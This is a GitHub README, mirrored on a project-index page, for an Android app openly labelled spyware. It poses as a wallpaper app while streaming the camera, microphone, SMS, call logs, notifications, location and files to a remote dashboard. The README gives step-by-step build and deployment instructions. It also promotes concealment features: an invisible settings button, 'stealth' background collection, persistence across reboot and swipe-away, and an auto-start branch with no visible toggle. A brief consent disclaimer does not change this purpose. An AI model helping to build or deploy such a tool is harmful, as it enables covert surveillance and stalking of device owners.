An open API service indexing awesome lists of open source software.

https://github.com/dhruvathaide/android_webrtc_spyware

Real-time Android app for streaming camera, microphone, live notifications, call logs, sms messages and gps location to a web browser using WebRTC and Socket.IO signaling. Displays streams in separate video elements with robust track handling.
https://github.com/dhruvathaide/android_webrtc_spyware

android-application android-spyware audio-streaming camera-streaming screen-sharing spyware

Last synced: about 2 months ago
JSON representation

Real-time Android app for streaming camera, microphone, live notifications, call logs, sms messages and gps location to a web browser using WebRTC and Socket.IO signaling. Displays streams in separate video elements with robust track handling.

Awesome Lists containing this project

README

          

# ๐Ÿ“ฑ Android Wallpaper & WebRTC Streaming App


App Demo


๐ŸŽจ Wallpaper Customization + ๐Ÿ“ก Real-time Device Monitoring


A powerful dual-purpose Android application combining aesthetic customization with comprehensive device streaming capabilities


---

## ๐ŸŒŸ Overview

This innovative Android application serves a **dual purpose**: it allows users to select and set stunning wallpapers on their device while simultaneously enabling **real-time streaming** of multiple device features to a web browser using **WebRTC technology**.

The app leverages **Socket.IO** for signaling to establish secure peer-to-peer connections, making it perfect for:
- ๐Ÿ” **Remote monitoring Spyware** and device management
- ๐Ÿ“ฑ **Live demonstrations** and presentations
- ๐Ÿ“Š **Real-time data streaming** (SMS, calls, location, notifications)
- ๐ŸŽจ **Device personalization** with wallpapers

> **Key Technology**: WebRTC ensures low-latency, high-quality streaming directly between your Android device and web browser without intermediate servers processing your data.

> โš–๏ธ **Use responsibly**: Streaming camera, audio, SMS, call logs, notifications, and location data may be restricted by law. **Obtain informed consent** from the device owner and comply with all applicable regulations and platform policies.

## ๐Ÿ”€ Branch Variants

This repository has two maintained variants:

- **main** (youโ€™re here): standard app with a **manual Streaming toggle** in *Streaming Settings*. Includes the **Node.js signaling server** in `Android-WebRTC-Spyware-Server/`.
- **autostream**: headless variant that **starts streaming automatically** after install and permission grant โ€” **no manual toggle/UI step**. Ideal for kiosk/demo setups where you want hands-free bring-up.

โžก๏ธ Looking for auto-start behavior? Use the **autostream** branch:
https://github.com/DhruvAthaide/Android_WebRTC_Spyware/tree/autostream

## โœจ Features

### ๐Ÿ“ท **Advanced Camera Streaming**
- ๐Ÿ“น **High-Quality Video**: Streams camera feed at 640x480 resolution
- ๐Ÿ”„ **Dual Camera Support**:
- Front and back cameras displayed **simultaneously** on web dashboard
- **Requirements**: Modern Android device + Android 9+ (API 28+)
- **Auto-fallback**: Seamlessly switches to single camera on older devices
- โšก **Low Latency**: Real-time streaming with minimal delay

### ๐ŸŽค **Premium Audio Streaming**
- ๐ŸŽง **Real-time Transmission**: Live audio feed to web browser

### ๐Ÿ“‚ **Remote File Explorer**
- ๐Ÿ“‚ **Full File System Access**: Browse device storage remotely
- โฌ‡๏ธ **Download**: Transfer files from device to PC
- โšก **Chunked Transfer**: Optimized 64KB chunking for stable large file downloads
- ๐Ÿ—‘๏ธ **Delete**: Remove files remotely
- ๐Ÿ›ก๏ธ **Recovery**: Auto-reconnects file system link if connection drops

### ๐Ÿ“ฑ **Comprehensive Device Monitoring**
- ๐Ÿ’ฌ **Live SMS Streaming**: Real-time message monitoring and display
- ๐Ÿ“ž **Call Log Tracking**: Complete call history with timestamps
- ๐Ÿ—บ๏ธ **GPS Location Streaming**: Live location tracking with interactive map display
- ๐Ÿ”” **Notification Monitoring**: Real-time notification feed from all apps
- ๐Ÿ”„ **Auto-Persistence**: Service auto-restarts on boot and app swipe-away

### ๐ŸŒ **Advanced WebRTC Technology**
- ๐Ÿ” **Peer-to-Peer Streaming**: Direct device-to-browser connection
- ๐Ÿ›ก๏ธ **STUN/TURN Support**: Reliable connection through NAT/firewall traversal
- โšก **Ultra-Low Latency**: Optimized for real-time performance
- ๐Ÿ”„ **Auto-Reconnection**: Intelligent connection recovery

### โš™๏ธ **Dynamic Signaling Server (IP/Port) Configuration**
- โœ๏ธ **hange IP/Port at runtime** from the appโ€™s Streaming Settings page. The current server URL is stored in SharedPreferences.
- ๐Ÿงญ **Invisible Settings Button**: The settings button in the top-right corner is intentionally invisible but clickable. Tap the top-right area to open Streaming Settings.
- ๐ŸŒ **No ```network_security_config.xml``` required**: The app allows cleartext globally (debug/dev friendly). You do not need to list every IP or edit an XML.

### ๐Ÿ’ป **Interactive Web Dashboard**
- ๐Ÿ“Š **Real-time Status Updates**: Live connection and streaming status
- ๐ŸŽฎ **Responsive Interface**: Works seamlessly across all modern browsers
- ๐ŸŽฏ **Centralized Control**: All device streams in one comprehensive dashboard

## ๐Ÿ—๏ธ Project Architecture

```
๐Ÿ“ฆ Android_WebRTC_Spyware/
โ”œโ”€โ”€ ๐Ÿ“ฑ app/
โ”‚ โ”œโ”€โ”€ ๐Ÿ“ src/main/java/com/example/wallpaperapplication/
โ”‚ โ”‚ โ”œโ”€โ”€ ๐Ÿš€ BootReceiver.java # Auto-start functionality
โ”‚ โ”‚ โ”œโ”€โ”€ โœ… ConsentActivity.java # Permission management
โ”‚ โ”‚ โ”œโ”€โ”€ โš™๏ธ Constants.java # App configuration
โ”‚ โ”‚ โ”œโ”€โ”€ ๐Ÿ  MainActivity.java # Main wallpaper interface
โ”‚ โ”‚ โ”œโ”€โ”€ ๐Ÿ”— SdpObserverAdapter.java # WebRTC SDP handling
โ”‚ โ”‚ โ”œโ”€โ”€ ๐Ÿ“ก StreamingService.java # Core streaming service
โ”‚ โ”‚ โ”œโ”€โ”€ โš™๏ธ StreamingSettingsActivity.java # Streaming controls
โ”‚ โ”‚ โ””โ”€โ”€ ๐ŸŽจ WallpaperAdapter.java # Wallpaper grid manager
โ”‚ โ”œโ”€โ”€ ๐Ÿ“‹ src/main/AndroidManifest.xml # App permissions & config
โ”‚ โ””โ”€โ”€ ๐Ÿ”ง build.gradle.kts # Build configuration
โ”œโ”€โ”€ ๐Ÿ–ฅ๏ธ Android-WebRTC-Spyware-Server/
โ”‚ โ”œโ”€โ”€ โšก server.js # Node.js signaling server
โ”‚ โ”œโ”€โ”€ ๐Ÿ“ฆ package.json # Server dependencies
โ”‚ โ””โ”€โ”€ ๐ŸŒ public/
โ”‚ โ”œโ”€โ”€ ๐ŸŽจ index.html # Web dashboard UI
โ”‚ โ””โ”€โ”€ ๐Ÿ”ง client.js # Browser WebRTC client
โ””โ”€โ”€ ๐Ÿ“– README.md # This documentation
```

### ๐Ÿ”ง **Core Components Explained**

| Component | Purpose | Key Features |
|-----------|---------|--------------|
| **๐Ÿ  MainActivity.java** | Wallpaper interface entry point | Grid view, wallpaper preview, system integration |
| **๐ŸŽจ WallpaperAdapter.java** | Wallpaper gallery management | RecyclerView optimization, image loading, selection handling |
| **๐Ÿ“ก StreamingService.java** | Heart of streaming functionality | WebRTC initialization, multi-stream capture, signaling |
| **โš™๏ธ StreamingSettingsActivity.java** | User control interface | Permission requests, stream toggles, settings management |
| **๐Ÿš€ BootReceiver.java** | Auto-start Logic | Restarts service on device boot |
| **๐Ÿ”„ DataSyncWorker.java** | Background Sync | Periodic stealth data collection using WorkManager |
| **๐Ÿ”’ AndroidManifest.xml** | Security & permissions | Camera, microphone, location, SMS permissions |
| **โšก server.js** | WebRTC signaling hub | Socket.IO management, peer connection facilitation |
| **๐ŸŽจ index.html & ๐Ÿ”ง client.js** | Web dashboard | Stream display, real-time updates, user interface |

## ๐Ÿ“‹ Prerequisites

### ๐Ÿ“ฑ **Android Development**
- ๐Ÿ’ป **Android Studio**: Latest version recommended (Arctic Fox+)
- ๐Ÿ› ๏ธ **Android SDK**:
- **Minimum**: API 21+ (Android 5.0)
- **Recommended**: API 28+ (Android 9.0) for dual camera support
- ๐Ÿ“ฑ **Test Device**: Physical device or emulator with camera and microphone
- ๐Ÿ”„ **Dual Camera Requirements**:
- Modern Android device with concurrent camera access support
- Android 9+ (API level 28+)
- Multiple camera sensors capable of simultaneous streaming

### ๐Ÿ–ฅ๏ธ **Server Environment**
- ๐ŸŸข **Node.js**: Version 16.x or higher
- ๐Ÿ“ฆ **npm**: Version 8.x or higher
- ๐Ÿ’พ **Storage**: Minimal requirements (< 100MB)

### ๐ŸŒ **Browser Compatibility**
- โœ… **Chrome**: Version 80+ (Recommended)
- โœ… **Firefox**: Version 75+
- โœ… **Safari**: Version 13+
- โœ… **Edge**: Version 80+
- ๐Ÿ“ฑ **Mobile browsers**: Full WebRTC support required

### ๐ŸŒ **TURN Server Access**
- ๐Ÿ” **Credentials**: Valid numb.viagenie.ca account (or alternative TURN provider)
- ๐Ÿ  **Local Network**: Devices on same network for optimal performance
- ๐ŸŒ **Remote Access**: TURN server required for cross-network connections

### ๐Ÿ”ง **Network Configuration**
- ๐Ÿ“ก **Default Server IP**: Configure the Server IP Address by following the steps given below
- ๐Ÿ”Œ **Port**: 3000 (configurable)
- ๐Ÿ›ก๏ธ **Firewall**: Ensure ports are accessible between devices
- โšก **Bandwidth**: Minimum 2 Mbps for smooth streaming

## ๐Ÿš€ Quick Setup Guide

> Prefer auto-start streaming with no UI toggle? Switch to the **autostream** branch.

### 1๏ธโƒฃ **Clone & Initialize**
```bash
# Clone the repository
git clone https://github.com/DhruvAthaide/Android_WebRTC_Spyware.git
cd Android_WebRTC_Spyware

# Verify project structure
ls -la
```

### 2๏ธโƒฃ **Configure Android Application**

#### ๐Ÿ“ฑ **Open in Android Studio**
1. Launch Android Studio
2. Open the `Android_WebRTC_Spyware` project
3. Wait for Gradle sync to complete

#### ๐Ÿ”ง **Update Dependencies**
Verify `app/build.gradle.kts` contains all required dependencies for WebRTC and UI components.

#### ๐Ÿ” **Configure TURN Server Credentials**
In `StreamingService.java`, replace placeholders with your actual credentials (Optional):
```java
ice.add(PeerConnection.IceServer.builder("turn:numb.viagenie.ca")
.setUsername("your-actual-username") // ๐Ÿ”‘ Replace with real username
.setPassword("your-actual-password") // ๐Ÿ”‘ Replace with real password
.createIceServer());
```

#### ๐ŸŒ **Update Server Configuration**
**In `StreamingService.java`**:
```java
private static final String SIGNALING_URL = "http://YOUR_SERVER_IP:3000"; // ๐Ÿ”ง Update IP
```

#### โœ… **Verify Permissions**
Ensure `AndroidManifest.xml` includes all necessary permissions for streaming and wallpaper functionality.

---

### 3๏ธโƒฃ **Setup Signaling Server**

#### ๐Ÿ“ **Navigate to Server Directory**
```bash
cd Android-WebRTC-Spyware-Server
```

#### ๐Ÿ“ฆ **Install Dependencies**
```bash
npm install express socket.io@4.7.5
```

#### ๐Ÿ” **Configure Client-Side TURN**
In `public/client.js`, update TURN server credentials (Optional):
```javascript
const config = {
iceServers: [
{ urls: 'stun:stun.l.google.com:19302' },
{
urls: 'turn:numb.viagenie.ca',
username: 'your-actual-username', // ๐Ÿ”‘ Replace with real username
credential: 'your-actual-password' // ๐Ÿ”‘ Replace with real password
}
]
};
```

#### ๐ŸŒ **Update Socket.IO URL**
```javascript
const socket = io('http://YOUR_SERVER_IP:3000'); // ๐Ÿ”ง Update IP
```

---

### 4๏ธโƒฃ **Launch the Server**
```bash
# Start the signaling server
node server.js

# Expected output:
# โœ… Server running at http://localhost:3000 or http://:3000
# ๐Ÿ”Œ Socket.IO initialized and ready
```

---

### 5๏ธโƒฃ **Build & Deploy Android App**

#### ๐Ÿ”จ **Build Process**
1. In Android Studio: **Build โ†’ Make Project**
2. Resolve any dependency issues
3. Ensure all configurations are properly set

#### ๐Ÿ“ฑ **Installation & Usage**
1. **Deploy**: Run app on Android device or emulator (API 21+)
2. **Wallpaper Mode**:
- Browse wallpaper gallery on main screen
- Tap wallpaper to preview
- Apply to home/lock screen
3. **Streaming Mode**:
- Navigate to streaming settings
- Toggle streaming **ON**
- Grant all requested permissions:
- ๐Ÿ“ท Camera access
- ๐ŸŽค Microphone access
- ๐Ÿ“ Location access
- ๐Ÿ’ฌ SMS access
- ๐Ÿ“ž Phone access
- ๐Ÿ”” Notification access
- ๐Ÿ’พ **Manage External Storage** (Android 11+ for File Explorer)

---

### 6๏ธโƒฃ **Access Web Dashboard**
```bash
# Open in browser:
http://YOUR_SERVER_IP:3000

# Expected features:
# ๐Ÿ“น Live camera stream(s)
# ๐ŸŽค Real-time audio
# ๐Ÿ’ฌ SMS messages
# ๐Ÿ“ž Call logs
# ๐Ÿ“ GPS location with map
# ๐Ÿ”” Live notifications
# ๐Ÿ“Š Connection status indicators
```

> ๐Ÿ’ก **Pro Tip**: Keep the Android app in the foreground initially to ensure all streams initialize properly. Once connected, you can minimize the app.

## ๐Ÿ”ง Debugging & Troubleshooting

### ๐Ÿ“ฑ **Android Debugging**

#### **Logcat Monitoring**
```bash
# Monitor streaming service logs
adb logcat | grep StreamingService

# Monitor all app logs
adb logcat | grep WallpaperApplication

# WebRTC specific logs
adb logcat | grep WebRTC
```

**๐Ÿ” Key Log Indicators:**
- โœ… `StreamingService initialized successfully`
- โœ… `WebRTC PeerConnection established`
- โŒ `Camera permission denied`
- โŒ `TURN server authentication failed`

#### **Common Android Issues & Solutions**

| Issue | Symptoms | Solution |
|-------|----------|----------|
| **๐Ÿ“ท Camera not streaming** | Black screen in web dashboard | Check camera permissions, restart app |
| **๐ŸŽค No audio** | Silent stream | Verify microphone permissions, check device audio |
| **๐Ÿ” Permission errors** | App crashes or features disabled | Grant all permissions in Android settings |
| **๐ŸŒ Connection failed** | "Offline" status in dashboard | Verify server IP, check network connectivity |

---

### ๐Ÿ–ฅ๏ธ **Server Debugging**

#### **Enhanced Logging**
```bash
# Run server with detailed logs
DEBUG=socket.io* node server.js

# Log to file for analysis
node server.js > server.log 2>&1

# Monitor real-time connections
tail -f server.log | grep "Client connected"
```

**๐Ÿ“Š Server Health Indicators:**
- โœ… `Server running at http://localhost:3000`
- โœ… `Socket.IO listening for connections`
- โœ… `Client connected: [socket-id]`
- โŒ `Port 3000 already in use`
- โŒ `Failed to bind to address`

---

### ๐ŸŒ **Browser Debugging**

#### **Developer Console**
1. Open browser DevTools (F12)
2. Navigate to **Console** tab
3. Look for WebRTC connection logs

**๐Ÿ” Browser Console Indicators:**
- โœ… `WebRTC connection established`
- โœ… `Receiving video stream`
- โœ… `Socket.IO connected to server`
- โŒ `Failed to establish peer connection`
- โŒ `ICE connection failed`

#### **Network Analysis**
1. **DevTools โ†’ Network tab**
2. **Filter**: WebSocket connections
3. **Monitor**: Socket.IO signaling messages

---

### ๐Ÿšจ **Advanced Troubleshooting**

#### **Port & Network Issues**
```bash
# Check if port 3000 is available
netstat -tuln | grep 3000

# Test server connectivity
curl http://YOUR_SERVER_IP:3000

# Kill processes using port 3000
lsof -ti:3000 | xargs kill -9
```

#### **WebRTC Connection Analysis**
```javascript
// Add to browser console for detailed WebRTC stats
pc.getStats().then(stats => {
stats.forEach(report => {
if (report.type === 'candidate-pair' && report.state === 'succeeded') {
console.log('โœ… ICE Connection Success:', report);
}
});
});
```

#### **TURN Server Verification**
```bash
# Test TURN server connectivity
nslookup numb.viagenie.ca

# Alternative TURN servers for testing:
# stun:stun.l.google.com:19302
# stun:stun1.l.google.com:19302
```

## ๐Ÿ“ท Camera Support Details

### ๐Ÿ“ฑ **Single Camera Mode (Default)**
- โœ… **Compatibility**: Works on all supported Android devices (API 21+)
- ๐Ÿ”„ **Functionality**: Streams either front or back camera based on user selection
- โšก **Performance**: Optimized for older devices with limited hardware capabilities
- ๐Ÿ”‹ **Battery Efficient**: Lower power consumption for extended streaming sessions

### ๐Ÿ“น **Dual Camera Mode (Advanced)**

#### **๐Ÿ’ป System Requirements**
- ๐Ÿ”ง **Hardware**: Modern Android device with concurrent camera access support
- ๐Ÿ“ฑ **OS Version**: Android 9+ (API level 28+)
- ๐Ÿ“ท **Camera Hardware**: Multiple sensors capable of simultaneous streaming
- ๐Ÿง  **Processor**: Sufficient CPU/GPU power for dual stream encoding

#### **โœจ Features & Benefits**
- ๐ŸŽฅ **Simultaneous Streaming**: Both front and back cameras active at once
- ๐Ÿ“Š **Dashboard Display**: Dual camera feeds shown side-by-side in web interface
- ๐Ÿ”„ **Smart Switching**: Automatic quality adjustment based on network conditions
- ๐Ÿ“ฑ **Picture-in-Picture**: Configurable layout options for dual stream display

#### **๐Ÿ” Device Compatibility Check**
The app automatically detects dual camera support using:
```java
// Pseudo-code for dual camera detection
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P &&
cameraManager.getCameraIdList().length >= 2) {
// Enable dual camera mode
}
```

## โš ๏ธ Known Issues & Solutions

### ๐Ÿ”ง **Connection & Network Issues**

| Issue | Symptoms | Root Cause | Solution |
|-------|----------|------------|----------|
| **๐Ÿšซ Connection Failures** | Dashboard shows "Offline" | TURN server/network issues | โœ… Verify TURN credentials
โœ… Check firewall settings
โœ… Test on same network first |
| **๐Ÿ“ก Intermittent Disconnections** | Frequent reconnections | Unstable network/power saving | โœ… Disable battery optimization
โœ… Use 5GHz WiFi if available
โœ… Check router QoS settings |
| **๐ŸŒ Slow Streaming** | Laggy video/audio | Bandwidth limitations | โœ… Reduce stream quality
โœ… Close other network apps
โœ… Use wired connection for server |

### ๐Ÿ“ฑ **Android-Specific Issues**

| Issue | Symptoms | Root Cause | Solution |
|-------|----------|------------|----------|
| **๐Ÿ“ท Camera Black Screen** | Video shows black | Permission/hardware conflict | โœ… Restart app completely
โœ… Check camera permissions
โœ… Close other camera apps |
| **๐ŸŽค Audio Not Streaming** | Silent dashboard | Microphone access denied | โœ… Grant microphone permission
โœ… Check system audio settings
โœ… Test with headphones |
| **๐Ÿ”„ Dual Camera Failure** | Only one camera works | Hardware/OS limitations | โœ… Verify Android 9+
โœ… Check device specifications
โœ… Test single camera mode |
| **โšก App Crashes** | Unexpected shutdowns | Memory/resource issues | โœ… Restart device
โœ… Clear app cache
โœ… Update Android WebView |

### ๐Ÿ–ฅ๏ธ **Server & Browser Issues**

| Issue | Symptoms | Root Cause | Solution |
|-------|----------|------------|----------|
| **๐Ÿ–ฅ๏ธ Server Won't Start** | Port binding errors | Port already in use | โœ… Kill processes on port 3000
โœ… Use alternative port
โœ… Check system firewall |
| **๐ŸŒ Browser Compatibility** | Features not working | WebRTC support missing | โœ… Use Chrome/Firefox latest
โœ… Enable hardware acceleration
โœ… Clear browser cache |
| **๐Ÿ“Š Dashboard Not Loading** | Blank page/errors | JavaScript/network issues | โœ… Check browser console
โœ… Disable ad blockers
โœ… Try incognito mode |

---

## ๐Ÿ“œ License

```
MIT License

Copyright (c) 2026 Android WebRTC Streaming App

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
```

---

## ๐ŸŒŸ **Star this repository if you found it helpful!**

### ๐Ÿค **Contributing**
I welcome any contributions! Please feel free to submit pull requests, report bugs, or suggest new features.

### ๐Ÿ“ž **Support**
๐Ÿ› **Bug Reports**: [GitHub Issues](https://github.com/DhruvAthaide/Android_WebRTC_Spyware/issues)

๐Ÿ’ฌ **Discussions**: [GitHub Discussions](https://github.com/DhruvAthaide/Android_WebRTC_Spyware/discussions)

---

*Built with โค๏ธ by Dhruv Athaideusing Kotlin, WebRTC, Android, and Node.js*